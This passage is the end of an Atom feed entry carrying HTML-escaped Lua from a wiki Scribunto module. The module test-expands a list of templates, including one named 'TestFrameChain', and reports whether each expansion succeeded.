        {&amp;quot;TestFrameChain&amp;quot;, {}},&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    for _, tmpl in ipairs(templates) do&lt;br /&gt;
        local ok, out = pcall(parent.expandTemplate, parent, {title = tmpl[1], args = tmpl[2]})&lt;br /&gt;
        results[#results+1] = tmpl[1]:sub(1,30) .. &amp;quot;=&amp;quot; .. tostring(ok) .. &amp;quot;:&amp;quot; .. tostring(out):sub(1,40)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    return table.concat(results, &amp;quot; | &amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>Bot93553</name></author>
	</entry>
</feed>